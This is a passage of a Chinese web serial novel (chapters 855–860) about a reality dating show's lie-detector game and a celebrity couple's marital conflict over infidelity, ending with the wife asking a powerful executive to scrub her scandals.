宋明远赶紧尴尬的笑着打算开始下一轮游戏,不敢看身边林悠羽的眼神。 宋玥对上宋明远带着点恳求的眼神,也知道宋明远这会儿扛不住了,赶紧开始下一轮游戏。 宋玥其实也没想过自己就是录制一档恋综揭过挖出了这么多料啊,宋明远在外面看的人模狗样的,谁知道这么不是东西啊。 “好了,我们接下来继续游戏,看看下一个倒……咳,看下一个是谁啊。”宋玥拍了下胸口心道好险,差点就把“倒霉鬼”三个字说出来了。 这次抽到最小数字牌的是周鹤瑾。 周鹤瑾微微皱眉,他其实大概都能猜得到那些人会问些什么,周鹤瑾抽到最小的数字牌,周媛媛却是最紧张的人,心都提到了嗓子眼。 她是真的怕有人问周鹤瑾跟她相关的问题,真问了,她怕是要完了。 周媛媛紧张的看着周鹤瑾,心虚又害怕。 弹幕已经选出了问题。 【请问周鹤瑾老师跟周媛媛是已经离婚了吗?网络上一直在传你们已经离婚了。】 看到这个问题周媛媛松了口气。 周鹤瑾手放到测谎小猫咪身上:“没有离婚,我们是夫妻。” 测谎仪小猫咪蔫头耷脑的回应:“嗷,现在还是夫妻呢。” 第855章 这俩赶紧离了吧 虽然周鹤瑾说没离婚,但小猫咪的反应实在是有点耐人寻味。 而且那句“现在还是夫妻”很难不让人多想,现在是夫妻以后难道就不是夫妻了吗? 当然弹幕也有问道这些的,但被人喷出去说他们见不得别人好。 宋玥好不容易看到这边测谎仪终于不亮红灯了,赶紧笑呵呵的说开始下一轮,不然评论区不知道又要说些什么乱七八糟的来唱衰了,好端端的恋爱旅游节目不是离婚分手节目啊,大不了这档节目录制完后她再制作个离婚节目接档再把这群人请来一起录制。 周媛媛勉强的笑了下开口:“时间不早了,大家明天还要起来做任务,不如就到这里吧。” 众人的目光都落到周媛媛身上。 宋明远已经算是被戳穿那面具了,所以此刻也不算和善也不演戏不装了,此刻脸上都带着明显的笑意,看着温和但却带着冷意。 “媛媛,这游戏都还没玩完一轮呢,许总不也说怎么也要每个人轮到一次才可以啊。” 周鹤瑾这边没爆出什么大料,现在满屏都还在讨论宋明远,宋明远气都要气死了,只想着赶紧抓个人爆点黑料压住自己那些,省的这群人只追着自己一个人骂。 而周媛媛,很明显周媛媛就最有可能是满身黑料那种人。 他还等着周媛媛能帮他压一压那些黑料呢。 周媛媛听到宋明远这死渣男搬出许愿脸上的笑意却没有任何变化,只是笑吟吟的看向许愿,许愿还是那副带着点慵懒之意的模样。 “确实,怎么也要玩过一轮才好,总不能游戏玩到一半就不玩了,那多没意思。”许愿看着周媛媛,脸上明明带着笑的,却让人感受不到多少笑意。 好好的游戏玩到现在好像越玩越大。 许愿都这么说了,周媛媛只能咬牙继续玩。 结果下一轮果然是周媛媛抽中了最小的数字,握着数字牌的手都很轻的抖动了下,像是遇到了大麻烦。 她有些慌的去看周鹤瑾,周鹤瑾只抬眸看她一眼并未有任何回应。 弹幕评论区全都在刷各类的问题,周媛媛的名声有多差圈子里多少都知道,她黑粉也知道,所以现在满屏都在刷各类周媛媛看都不敢看的问题。 {周媛媛你出轨了吗?} {周媛媛你谈过多少个男朋友?} {周媛媛你参加过你们弯弯的多人游戏派对吗!} {你真的喜欢周鹤瑾吗?是觉得自己找到接盘侠了吗?} {真的喜欢周鹤瑾和自己的孩子吗?你结婚的时候都在想什么?} {一直都是周鹤瑾带孩子,你带过周文晏吗?} {真的给人当过小三吗?} {听说你最喜欢撬人墙角喜欢跟结婚的人夫勾搭是真的吗?} {你这么爱玩你结婚后能耐得住寂寞吗?有没有背叛周鹤瑾?} 关于周媛媛的问题几乎是每一个都是尖锐的,周媛媛看到那满屏的问题觉得刺激此刻都有些呼吸不过来只想马上晕倒,这样就不用面对这一切。 周媛媛想去握住周鹤瑾的手,她急到眼睛都有些发红了,周鹤瑾垂眸看她,她眼里都是泪意。 恍惚间周鹤瑾仿佛想起了很久前两人初次见面时的周媛媛,那时候的周媛媛清纯漂亮,像是没有经历过娱乐圈浸染的小白花。 他微微抿唇将自己的抽到的最大的数字牌放到桌上轻笑了一下:“这一把我抽到了最大的数字,玩了那么多轮刺激的,这一轮大家给我个面子,让我问我妻子一个问题好不好。” 话落就感觉到宋明远和杜佳阮想反驳,周鹤瑾也不指望这两人,目光放到许愿身上:“许总,能给我这个机会吗?” 宋明远这句反驳的话都没说出来直接卡在了嗓子眼。 任谁都知道这次的游戏就是许愿说开始的,她想看乐子想看热闹,可周鹤瑾是许愿最喜欢的男艺人,许愿怎么可能不给周鹤瑾面子! 许愿弯唇:“只一次哦,如果下次再抽到那就不能耍赖了。” 周鹤瑾道了谢。 周媛媛的激动和欣喜脸上都能看得到。 她自己也清楚那些问题的答案一旦公布她绝对会遭到封杀,大陆的娱乐圈就容不下她,只能灰溜溜的回到弯弯。 周鹤瑾垂眸看向她,眼神仍然是淡淡的。 “老公,你想问我什么问题。”周媛媛赶紧像是抓住救命稻草一样开口。 周鹤瑾听到她喊老公其实心里有点反胃,但当着这么多人的面只能忍下去,开口问:“给文晏准备了什么生日礼物,文晏的生日快到了。” 周媛媛赶紧开口:“我给文晏买了最新的高达玩具,还买了他最喜欢的玩偶,也打算他生日当天空出时间来我们一起陪陪文晏,一起去动物园好不好?文晏不是说想去动物园看小熊猫吗。” 周媛媛好像是故意说这么多,让某些人知道她并非不了解周文晏。 周媛媛赶紧去看投屏的弹幕评论区。 {其实真的有点耍赖,谁不知道周媛媛满身黑料,周媛媛自己也知道,不然不会这时候去看周鹤瑾想周鹤瑾救自己。} {周鹤瑾……也确实是个男人,毕竟周媛媛怎么样那都是他老婆,他肯定要护着,就是我看周媛媛喊他老公的时候周鹤瑾脸色好像不太对,真的有点像被恶心到了……这俩应该早没爱了吧。} {呵呵,看到那些问题周媛媛都要被吓傻了吧,她肯定不敢回答,周鹤瑾估计也知道点真相所以才会被恶心到。} {不过感觉周媛媛好像对周文晏还行,起码看着挺了解自己孩子的,还算是个好妈妈。} {跟周鹤瑾老师同剧组拍过戏,算是跟周鹤瑾老师近距离接触过,反正拍戏那段时间,整整三个月都没见周媛媛探班过更没见周媛媛来看过周文晏,至于周文晏是不是真的喜欢这些东西谁知道呢,还不是周媛媛嘴巴一碰就能编出来的东西?} {这俩赶紧离了吧,我都怕时间久了周文晏有了心理阴影。} 第856章 你能理解我的对不对 就算周鹤瑾为周媛媛解围却还是有数不清的人在嘲周媛媛,周媛媛脸上的笑都保持不住,只能隐忍着看向宋玥:“宋导,是不是能继续游戏了。” 见周媛媛是真的已经忍到极限了宋玥才缓和气氛。 又是一轮游戏,宋明远在祈祷,林悠羽也有些惊慌,周媛媛更是惊恐的不希望再抽到最小的数字。 好在最后抽到最小数字的是盛景炎,盛景炎完全不在意的将数字牌丢到桌上,很大方的开口:“有什么想问的尽管开口。” 见是盛景炎,弹幕果然都老实了,两人的CP粉出来了。 {盛总什么时候跟我们许总结婚啊?} {盛总和许总结婚总要给我们发个红包吧,没有红包喜糖也行啊!} {盛总敢不敢发誓说这辈子只喜欢我们许总一个人!} {盛总这辈子谈过多少次恋爱?} {盛总,有些人说你以前就是风流浪子这话是真的假的?} {盛总是妻管严吗?} 这次的问题就友好多了,多半都是好奇盛景炎和许愿的。 宋玥已经开始抽选问题,最后抽到的是询问他们能不能有喜糖的,宋玥看到这问题眉眼之间都带上笑意了,似乎也是觉得有意思。 盛景炎笑意加深:“等我和阿愿结婚,我会在超话特别留下一个页面小程序,那些超话里面签到登记八级以上的可以留下姓名地址能够收到我和阿愿的喜糖及伴手礼。伴手礼具体是什么我还没有想好,因为我想要的东西太多了,你们不需要付邮费,我免费送,跟阿愿结婚我开心。” {啊啊啊啊!盛总大气!我就等着盛总的喜糖和伴手礼了!} {妈呀,盛总都这么说了,那不是喜事将近吗!} {我嗑的CP终于要结婚了吗!} {许总这么漂亮,真的很难想象许总穿上婚纱喜服会有多美,呜呜羡慕盛总。} 也有人叽叽喳喳说怎么还要限制等级,立刻就有人喷他,就算从现在开始只是签到水帖子也很快就能到八级了,八级又不是十二级,哪那么难,这种人一看就是想要东西却又不关注盛景炎和许愿的。 宋玥也跟着说了几句祝福的话还不忘打趣:“盛总记得也给我寄一份喜糖和伴手礼啊。” 盛景炎点了下头:“关注下我和阿愿的CP超话,达到八级就给你。” 宋玥:“……”还真是一点水都不放啊。 除了林悠羽所有人都过了一轮,而林悠羽那边也有宋明远被爆了料,所以这会儿再有人提到可以结束游戏的时候许愿没在拒绝。 这也让直播间的人都看明白了,节目里面最大的确实是许愿。 …… 直播结束,节目组将摄像机关了,连带着这次不小心误开的监控也关了。 宋明远带着林悠羽赶紧离开,生怕自己留下来又要参与什么奇怪的游戏后丢脸,沈从和杜佳阮也紧跟着离开,杜佳阮几乎是逃出去的。 两人并肩离开,杜佳阮不由得酸涩开口:“你是占尽了便宜,直播的时候还有许愿帮你对付天域传媒,还特地签了你进公司,只有我倒霉被扒出那些黑料。” 沈从看她一眼忍不住开口:“女明星整容其实没什么,你的料哪有宋老师的料大。” 杜佳阮心道也是,女明星哪有不整容的,自己虽然整容但没像宋明远那么渣啊。 “你还是跟宋老师保持下距离吧,对自己妻子都没什么爱的人,他不会在事业上多帮你。”沈从提醒了一句。 杜佳阮清楚沈从知道自己白天讨好宋明远的事了,有些尴尬的嗯了一声,赶紧问道:“我们怎么也算是搭档,你能不能跟许总说说,告诉她我也想加入她的公司,我虽然在娱乐圈不算是多漂亮,但我演技还可以的。” 沈从一时有点无言。 他跟杜佳阮也就是合作了一部剧的关系,哪有熟到这种程度,怎么就拜托自己去求许愿了。 “这件事还是你自己去找许总的好,这样也能表明你的态度。”沈从只能推脱,然后快步离开,生怕杜佳阮再说点什么不合时宜的话,那就太过了。 杜佳阮心里暗骂沈从不够意思,但也知道沈从自己都还没有跟许愿正式签约呢,真要提这个说不定还要被认为是贪心。 看来这事儿只能靠她自己去争取了。 …… 周鹤瑾房间内。 周媛媛红着眼眶扑过去想抱住周鹤瑾,周鹤瑾直接推开她:“别来这一套,别靠近我,我不想跟你有太亲密的关系。” “我就是感谢你今天帮了我。”周媛媛有点委屈的开口。 “你现在还是我的妻子,我不帮你我成什么了?”周鹤瑾并没把这件事当回事,他洗漱后打算休息,周媛媛却紧跟在她身后。 “老公,你能不能去找许愿,让许愿帮我说说话删删那些黑料啊,只要许愿出马,让她跟我关系好一点,网络上那群人也就不会再黑我了,那群人最会见风使舵了。” 周鹤瑾现在才明白周媛媛粘着自己还是想通过自己讨好许愿。 他皱眉:“你想跟许愿搞好关系你可以自己去找她,而不是在这里缠着我,她只是喜欢我的戏,我跟她现在都算不上是朋友关系。” “你真的不能帮我吗!你难道就没想过我被曝光对你对我对文晏有多大的伤害吗?”周媛媛咬牙:“你也看到网络上那些人想问的事什么问题了,他们知道我出轨,知道我跟很多男人有关系,还知道我参加过那些派对,他们都清楚,一旦这些事情石锤了我绝对会被逼退圈,到时候内陆就没有我的位置,我只能灰溜溜回到弯弯,到那时候所有人都会嘲讽你被我戴了绿帽子,会嘲讽文晏,难道你真的想等文晏长大后其他人提到他的母亲就是我这样出轨玩弄人感情当小三的女人吗!你能忍心吗!” “我让你帮我找许愿不仅是为了我,更是为了你和文晏!” 周媛媛几乎是哀求:“老公你能理解我的对不对……” 第857章 争吵 周媛媛知道周鹤瑾对自己早就没有感情了。 她们之间的感情早就在周鹤瑾知道她真面目后就彻底的土崩瓦解了,周鹤瑾不离婚继续跟她生活在一起,甚至为她开脱并不是将她看做妻子,而是将她看做周文晏的母亲。 他不是为了维护她,他是不想让周文晏被人说闲话的嘲讽。 因为周鹤瑾看过圈子里太多这类的事,很多娱乐圈的星二代都因为父母的事被嘲讽。 犯错的不是她们,但最后一定会被那些人在网络上嘲讽侮辱。 最典型的就是一堆很爆火的夫妻,女方出轨后双方感情破裂离婚,两人有一个女儿,她们的女儿现在不过十几岁,也有社交账号,但那群无下限的恶心男性就会在她的账号下不停的问是不是要接她母亲的班,以后是不是也要出轨,像她这样的人肯定嫁不出去。 明明只是个十几岁的小姑娘,却被这群蛆虫荡妇羞辱。 而那对夫妻事实上从最开始就是开放式婚姻,女方爱玩,男方也爱玩,她们背后的资本都不是同一个,只是女方那段时间背后的资本出了事,所以男方这边故意将她的行程报给媒体,然后故意将事情高大,全网都知道了女方出轨的事。 男方情人也很多,但为了扳倒女方吃尽红利被人同情,为了热度为了流量,对方不停的泼脏水,在那段时间跟所有情人都断了联系,还故意演出一副好丈夫好夫人的模样,引得圈内众人夸赞。 所以在女方被爆出这段黑料后男方被同情,女方就被钉在了耻辱柱上。 她怎么可能没有为自己解释开脱过?可从最开始男方就没有留下过任何把柄,他就是等着这一天,将对方贬低到尘埃吃尽红利拿到一切的好处。 他是好父亲好丈夫,出轨的女方就是荡妇,背叛婚姻的毒妇。 从一开始,他就没打算跟女方共享资源。 他也根本不在意两人的女儿,因为他重男轻女,女儿罢了,可以再生一个。 男方甚至装模做样的说自己不怪女方,离婚也要分对方半数财产,惹得女方觉得恶心想吐,但那笔钱她不可能不要,因为他们最初就签署过协议,离婚肯定要对半分,明明是协议规定,明明是男方故意曝光她,最后她还要感谢他。 多恶心。 网络上的人都在夸男方够男人,够大方,然后处处指责女方。 男方离婚后有了情人也会被人同情说也该有个伴儿,跟人短暂谈恋爱,说白了就是当对方是约的对象,网络上也有人为他开脱说他是单身,然后最后的辱骂又会到已经离婚的女方身上。 无尽的谩骂都在女方和她的女儿这里,只因为那时她的女儿,且性别为女。 周媛媛就是知道这件事,她清楚周鹤瑾多疼周文晏,所以才数次利用周文晏来威胁周鹤瑾帮自己。 现在周媛媛又一次利用周文晏。 她不得不让许愿帮自己,不然她一定会落得跟那个女星一样的下场。 全网谩骂,她想都不敢想! “老公……你也不想文晏被网络上那群人骂有个满身黑料的母亲不是吗?你也不想文晏……跟那个女孩儿一样的下场不是吗!” “你帮我就是帮文晏……就算以后我们真的离婚,也不该是这种方式!” 周媛媛哭求。 她明白许愿是在乎周鹤瑾的,不然也不会再游戏过程中因为周鹤瑾几句话就给了她机会。 若非如此,她已经彻底塌房不能继续留在内陆了。 “许愿那么喜欢你,她一定会帮我们的!”周媛媛说着又想抱住周鹤瑾。 周鹤瑾还是退后一步躲开,避免周媛媛触碰到自己。 他看着面前梨花带雨的妻子,眸光幽深,却不带任何情意,只有冷淡。 他当然疼周文晏,若非为了周文晏,他跟周媛媛早就离婚了。 但……他疼周文晏,却不能理所当然的让许愿帮自己。 他和许愿本质上现在连朋友都算不得,怎么能这样理直气壮的去要求许愿帮自己? 周鹤瑾看着周媛媛:“我疼文晏是一回事,肯不肯利用许愿又是一回事,你做了错事总不能让许愿为你买单,非亲非故,她凭什么?你和我又凭什么?仅仅因为她几句说几句喜欢我就能不知天高地厚?我做不到。” “你为什么就是要这样清高!” 周媛媛几乎要咒骂:“像你这样的人如果不是许愿喜欢你!你根本拿不到那些资源!你这样情商低清高自以为是的男人根本不会火!你只会被封杀!被雪藏!” 周鹤瑾无视她此刻的癫狂,像是接受了她此刻的谩骂。 他自己心里也清楚,如果不是许愿,他不会有今天。 可以说是许愿给了她重新再来的机会,他感谢许愿,也知道这是自己的机遇,就像周媛媛说的那样,没有许愿他可能真的会被雪藏。 但他就是运气足够好,背后有许愿愿意维护他。 他当然感激许愿,就是因为感激,就更不能像周媛媛说的这样求到许愿面前。 那些资源不是他求来的,而且他没有让许愿亏本,所有的项目全都多倍的赚回来,也算是互惠互利。 周鹤瑾这样冷淡,像是完全不想继续听她纠结。 周媛媛的哭声越来越大,她抹着眼泪,此刻死死盯着周鹤瑾。 “你永远都是这么狠,我当初就不该答应跟你结婚,如果不跟你结婚,就算我跟再多人胡闹那也是我单纯的私生活乱,不会被跟你的婚姻束缚!” 她此刻又一次恨上了周鹤瑾,仿佛他们之间的悲剧全部都是周鹤瑾造成的。 她恨周鹤瑾,特别恨,恨不能此刻撕咬周鹤瑾的皮肉来发泄自己内心的恨意。 周鹤瑾垂眸看着眼前的妻子,她眼眸深处的恨意几乎凝结成实质,仿佛就是要让他知道她的内心有多恨。 “周媛媛,你现在将一切都推到我的身上,为什么不肯承认当年是你在撒谎呢。” “我追求你的时候就曾经说过,我有些大男子主义,我掌控欲很强,但我会将我有的全都跟你共同分享,我有的你也同样会有,且我能保证不会背叛你,我说的不够明显吗?” 第858章 她的丈夫不爱她 “你清楚我为什么追求你,因为我以为你清纯,我以为你干净,可一切都是你演出来装出来的,你不干净,你浑身上下都是脏污。” “你还没成年就已经跟那群人开始鬼混,是我完全被你蒙蔽双眼,相信你是单纯的。” “如果婚后你继续演继续装我还会继续爱你,毕竟婚前的事情不能真的提一辈子,只要婚后你没有背叛我,我可以跟你一起生活,我还能继续当你是我的妻子我的爱人。” “可你做了什么?你将你的情夫你的前任带到我们的婚房胡闹,你不在意文晏,你们将文晏的哭声当做助兴的工具,你要刺激你要自由你要潇洒你要风流……既然你要这些,那你当初就应该直接拒绝我!而不是一直演戏一直到生下文晏再原形毕露的让我知道你有多水性杨花!” “你知道我要什么, 可你什么都给不了我。” 周鹤瑾说到这里眼底的讥嘲之意愈发深了。 “其实你自己心里也很清楚,在弯弯没有人会跟你结婚生子,所以你骗到我这里。” 周鹤瑾眼神冰冷的看着她:“现在却当着我的面说一切都是我的错,说不该跟我结婚?周媛媛,到底错的是谁你心里不该很清楚吗?” 周媛媛被他此刻的眼神看的心里一惊,竟是不敢对上她的眼神,身体僵硬的颤抖了下,有些想躲。 “我以前就是爱玩,我就是控制不住我自己……我是风流,可我想改的,我改不了!”周媛媛咬牙:“是你一直都在拍戏根本不关注我所以我才会……” “好了!”周鹤瑾暴怒:“别再找借口了!” “我们结婚后那一整年我几乎都没有接任何通告,你说想度蜜月想去旅行,一个月的蜜月期我延长到三个月,你怀孕后我难道没有在家一直陪着你吗?你怀孕期间我甚至接戏都是客串,就算是配角最多拍摄半个月也会归家!” “你坐月子的期间我也不过是出去录制一档节目,回家你就跟人滚到一起,现在还要将责任都推到我身上。” “我一直拍戏不关注你?我是从什么时候开始不关注你的?周媛媛你难道没想过吗!是从你出轨那天开始!” 周鹤瑾从来都承认自己大男子主义占有欲强,他对自己的爱人甚至会有些黏人想让对方陪伴自己,他从来都知道自己的毛病,所以从类没有对周媛媛遮掩过。 周媛媛什么都知道什么都清楚,她却一定要将错全都推到周鹤瑾身上。 周鹤瑾的缺点周鹤瑾最开始就摆到她面前了,除此之外他几乎都是优点,足够专一专情,足够忠诚,他有的爱人也一定会有,会给对方绝对的安全感,他一直都是这样的人。 但凡周媛媛婚后耐得住寂寞没有跟人鬼混,周鹤瑾就算知道了她以前的事情也会跟她继续这段婚姻,就算心里有疙瘩他也会原谅她。因为在他看来曾经的胡闹不代表一切,可周媛媛没有给他这个原谅的机会,因为她直接将人带进了家中。 周媛媛眼里都是泪水,像是被他刺激到,恍惚许久根本说不出其他话,只能呜咽。 “你有话对许愿说那就自己去见许愿,不要再妄想利用我,我不会帮你。” 此刻的他就是如此冷酷。 没有了爱,不再将她看做妻子爱人他就不会再给她任何优待。 周媛媛控制不住的想到自己最初进组见到周鹤瑾的时候,对方看到她脸颊都是红的,他那时候还年轻又是圈内的顶流,却独独对她温柔体贴,很单纯……单纯的像是白纸。 那时候的周鹤瑾对她百依百顺,一直都是迁就的态度。 可现在,周鹤瑾因为她已经彻底变了。 他不再爱她,所以不在乎她了。 纵然她说再多他都不在意了。 周媛媛此刻才后知后觉的感受到了心口酸涩的刺痛感。 她的丈夫不爱她,早就不爱了。 周鹤瑾胸腔剧烈起伏,他像是全然不在意周媛媛是什么反应,开口道:“你想让许愿帮你那就自己去求她,别妄想我会利用许愿。” 说到这里,他似乎是完全不像再理会周媛媛,直接躺到了房间内的沙发上。 他没打算跟周媛媛一起睡在床上。 周媛媛擦了擦脸上的泪水,又去看周鹤瑾。 她们结婚这么多年,周鹤瑾其实没有多少变化,一定要说有变化就是对方越来越成熟,比他们刚结婚的时候更有味道更有魅力。 可这样的男人……是她丈夫却又只是名义上的丈夫了。 对方似乎感受到她的视线,翻了个身,完全拒绝了任何的交流。 周媛媛咬着下唇离开房间,她知道节目组已经停了所有直播,明天节目才算是真的正式开始,今天的只能说是预热了。 等明天就会全天直播,她再想去求许愿就晚了,她只能今晚去求许愿帮忙。 周媛媛洗了把脸,可镜子里面的自己还是脸色苍白,眼睛发红,甚至还能看到内里的红血丝。 周媛媛抹了把脸又觉得这样许愿看到自己或许会同情她可怜她从而帮自己。 周媛媛准备好后就打算去敲盛景炎和许愿的房门。 开门的是盛景炎,他看到来人是周媛媛轻微的皱了下眉问:“是周鹤瑾有什么事吗?” 周媛媛赶紧摇头。 “我找许总有点事,请问我可以见一见许总吗?”周媛媛小心翼翼的,完全不像是面对周鹤瑾时候的大呼小叫。 盛景炎微微垂眸,目光带着明显的冷感。 “先进来。” 周媛媛赶紧跟进去。 许愿此刻在敲电脑,手速飞快到周媛媛只能看到残影,她没有注意到周媛媛进来,还在专注算数据,是之前段星河跟她联系时候说的那串数据,之前只记得玩游戏了,数据还差点没算出来。 段星河那边却已经打了电话过来,还打的视频电话,许愿把手机摆到桌上,手还在快速敲打键盘,还能听到段星河在那边找茬似的。 第859章 张嘴全是吐槽 段星河:“不好好在盛世管理公司跑出去直播给人当乐子,许愿你多少是有点毛病。” 许愿继续敲打键盘没搭理段星河。 段星河继续:“我怎么不知道你那么喜欢周鹤瑾?我搜了下,你眼光其实还行,周鹤瑾长得是不错,演技也挺好,我打算出个自传电影,你有推荐的编剧吗?或者我自己当编剧,我觉得周鹤瑾可以演我这个角色了。” “啧,等电影上映华国那么多人都去影院看我的故事,有点爽啊。” 段星河在那边叭叭。 许愿又敲出一段数据,听到这里眉头轻微皱了下满脑子都是段星河这人有病,这人绝对有病。 许愿呵了一声,这会儿停止敲击键盘的动作然后有点嘲讽的扬唇:“首先,我出来参加节目直播是我在跟阿炎公费恋爱公费秀恩爱,我乐意你管不着。” “其次,你写剧本?跨界写剧本?你写个日记都跟流水账一样你还写剧本?就算剧本真写的出来也请你不要祸害我们瑾哥,我们瑾哥演你?就你?整天拽的二五八万的,活的像是个大反派你让我瑾哥演你?要不你先掂量掂量自己的人设看看自己适不适合主旋律再想该不该做这个梦。” “浑身上下都又丧又懒,不是想摆烂就是想玩游戏,让你干点活做点研究都要在你前面绑一根胡萝卜引诱,就你?演你?反社会人格疯子有什么好看的?” 许愿真是一点面子都不给,张嘴全是吐槽。 段星河觉得自己此刻收到一万点伤害。 “你一天不攻击我你真的会死是不是!” 许愿呵了一声:“死倒是死不了,就是可能会疯。” “纠正一下,是你先攻击我,然后又开始白日做梦异想天开,我只是告诉你,你想的这事儿有多离谱多可笑。” 段星河:“……” 他就不该给许愿打这通电话,平白的找挨骂。 但是刚才他可听到了许愿喊周鹤瑾“瑾哥”。 段星河在这边找茬嚷嚷:“盛景炎我不知道你什么脾气,反正我是听不得我老婆当着我的面喊别人哥的!她喊周鹤瑾‘瑾哥’啊!你快看她!你都不管管!盛景炎你还是不是男人了!” 被质疑不是男人的盛景炎轻笑一声调侃:“段老师,不要说不过阿愿就故意转移话题,我可知道周鹤瑾的粉丝都是这么称呼他的。” 盛景炎的态度就摆在这里了,拿我对付我爱人?想什么呢?他又不是很好被算计设计的傻瓜。 段星河被这俩人气的脸都白了,他就不该觉得盛景炎这个妻管严能管得住许愿,许愿管他还差不多。 段星河缓了又缓:“说真的,你们今儿玩的那游戏真的很土。” 许愿又开始敲键盘算数据了,充耳不闻权当段星河是一种扰人的小狗在汪汪汪。 段星河要知道许愿在心里脑补她是狗还是泰迪,估计要爆炸。 “你到底什么时候研究的那测谎仪?我怎么没听你说过?还时不时一起做研究的好战友了。”段星河这话说的有点怨念。 许愿轻嗤一声:“你做的所有研究不也没有全部跟我提起?大哥别说二哥。” 段星河颇为无语,他是真不知道许愿怎么能这么牙尖嘴利的。 “你赶紧敲数据代码,还等着呢,我懒得听你说这些了,听着就烦。” 段星河哪里是听着就烦,明明是说不过许愿。 许愿嗯了一声,段星河看她这么冷淡,也不跟她叭叭了,直接挂电话等她发来最后算出的数据。 许愿本也就快完成了,没了段星河那个捣乱的,许愿的手速更快了,大概三分钟已经敲出了最后的数据,将编码导出给段星河发过去。 段星河收了数据才不骚扰许愿了,忙自己的去。 许愿伸了下懒腰,才注意到房间内多了个人,嗯,多的还是周鹤瑾的太太周媛媛。 许愿面色冷淡,盛景炎倒是还给她倒了杯水,不过许是盛景炎倒完水后什么也不说,只是看许愿敲代码,而房间内除了许愿敲电脑键盘的声音就是许愿跟段星河在那边互嘲,周媛媛根本插不上话,那没那个胆子插话,别人在讲话在沟通,她插话那就显得太不知,礼数了,更不要说她今天就是专程来求许愿帮忙的,总要知道点轻重。 “找你的?”许愿看盛景炎。 盛景炎有些无奈:“找你的。” 许愿脸色微微冷了几分,此刻却根本猜不到对方来找自己是为了什么。 “我以为我们之间没什么交情,你找我到底是为了什么事只说就好,我不喜欢拐弯抹角,耽误时间。” 许愿不喜欢周媛媛。 周鹤瑾结婚的时候许愿就不喜欢周媛媛,就是女人的第六感,觉得周媛媛配不上周鹤瑾。 但她是理智的事业粉,周鹤瑾既然做了决定她就会支持。 直到她有了自己的事业,查到了周媛媛在弯弯的那些过去,才知道周鹤瑾吃了多大的亏。 但周鹤瑾不说,她又怎么能主动提?没有男人想知道自己的妻子给自己戴绿帽这种事,会觉得丢脸难以接受。 许愿其实间接提醒过,就是提醒过才知道周鹤瑾早就知道了。 那么周鹤瑾选择没有离婚那就是为了周文晏,他确实是个能够为了孩子委曲求全的好父亲。 只可惜,他再好也碰到了周媛媛这种人。 周媛媛能感受到许愿眼眸深处的凉意,她只能僵硬的扯了扯唇角勉强的笑着:“许总,我来找您是想您帮我点心小忙。” “小忙?”许愿讥嘲。 “对我来说可能是很大的事,但对许总来说应该是很小的事。”周媛媛舔了舔干涩的唇,声音都有点僵硬:“许总,您就当是为了周鹤瑾和周文晏,帮帮我。” 许愿眸光淡淡的:“你不说清楚,那我应该怎么帮你。” 周媛媛见她像是松口了,想说明情况,却也知道自己结婚后出轨的事情真的很难听,更不要说许愿还是周鹤瑾的粉丝,许愿听了那些怕是更不愿意管她,甚至可能撺掇周鹤瑾跟自己离婚。 周媛媛只能勉强的笑了笑遮掩的开口:“就是……我跟周鹤瑾结婚前在弯弯的时候玩的比较开所以黑料比较多,导致我跟周鹤瑾结婚后很多人一直盯着我们唱衰我们的感情甚至污蔑我,说我……说我背叛周鹤瑾,周鹤瑾有多好你也是知道的,他是好丈夫更是好父亲,我怎么可能背叛周鹤瑾,这一切都是诬陷。” 第860章 许总,请您帮帮我 “我是担心这些黑料太多,会影响到我和周鹤瑾,所以希望许总能够出面帮帮我清一清那些黑料,这件事对我来说可能是办不到的……但对许总的话,应该是很简单的事。” 周媛媛面上带着讨好的笑容,但是说出口的话却都是谎言。 她隐瞒了自己出轨的事实。 周媛媛以为许愿不知道,所以有所保留。 许愿笑的很轻,但眼神里面的厉色却很明显。 “想让我帮你,却又把我当傻子糊弄,周媛媛,我看起来是什么很好说话的人吗。” 她这话很明显的带着冷意,周媛媛身体都跟着不自然的抖了下。 “你是不是认为你是周鹤瑾的妻子所以我就会因为喜欢周鹤瑾爱屋及乌的对你温柔?”许愿声音冰冷:“周媛媛,你太看得起你自己。” “你是觉得你做的那些事我都不知道吗?”许愿轻描淡写的开口,但出口的话却让周媛媛惊慌失措。 她不是蠢货,怎么可能听不出来许愿这话里面表达的意思。 许愿知道她背叛周鹤瑾的事…… 周媛媛脸色僵硬的看着面前的许愿,脸色涨红:“是我不该撒谎欺骗许总,但是……您能不能看在我是周鹤瑾妻子的份儿上帮帮我。” “我说过了,把话说清楚,你这么遮遮掩掩的,我怎么知道你具体都做错了什么。”许愿仍然是那副冷淡模样,完全没打算给周媛媛面子。 许愿其实是很有同理心的,特别是对女性一直都是比较迁就的,只要不是大错她都会当做没看到并给对方机会。 但在许愿心里最恶心的就是劈腿出轨,这种事不分男女,任何人出轨都很恶心,当然前提是夫妻两人并不是开放式关系。 周媛媛犯下的就是许愿最厌恶的错误。 事实上周媛媛的事情许愿最开始是不知道的,但……周媛媛的那些前任以及那些情人虽然还是跟她关系亲密经常凑到一起,但每个人对她都没有多少情意,说白了只是为了发泄身体最原始的欲望,把她看作是好用的工具。 其中有人因为在圈子里出了事打算卖掉周媛媛的那些照片,然后卖给狗仔他跟周媛媛出轨的那些消息,打算大赚一笔。 对方知道周鹤瑾那时候在内陆有多红,且那时候有娱乐圈的狗仔一直盯着周鹤瑾,只要他开价,狗仔是一定会满足他的。 跟周鹤瑾相关的是许愿第一时间知道并拦下来,花钱买下了对方手里的照片和视频,这才没让周媛媛当初那些事暴露。 许愿并不是在帮周媛媛,而是在帮周鹤瑾和周文晏。 她也不希望周文晏这么小就要被那么多人追着骂说他的母亲是荡妇,她太明白网络上那些人骂人到底有多难听。 若非是许愿,周媛媛早就塌房了。 可现在周媛媛找到她希望她能帮忙删掉那些黑料,却连真相都不敢告诉她,甚至还觉得自己能瞒住许愿。 太可笑了。 许愿单只是想想就觉得周媛媛简直是异想天开,只想着这么几句话就换来她的帮助,是真的觉得她是来做慈善的吗? 她是会做慈善,但前提是那些人人品没有问题,可周媛媛凭什么? 一个出轨劈腿满身黑料的女人,若非她是周鹤瑾的妻子,许愿根本不会腾出时间来见她,甚至理都不会理她。 但周媛媛蠢,直到现在都没能听懂许愿话里面的意思,还有些茫然,只觉得许愿好像是在针对自己。 许愿看她此刻这般犯蠢的模样都有些想嘲讽的开口,她不过是等着周媛媛坦白,但对方到现在了还打算硬抗。 见周媛媛此刻沉默,像是在默默的反抗,仿佛她沉默的时间足够久许愿就会帮她一样,实在是可笑且幼稚。 她不是周鹤瑾,会无限纵容周媛媛。 “如果到了现在还是不肯说实话,那么你也并没有很想解决那些事。”许愿还是那副淡淡的模样:“请回吧。” 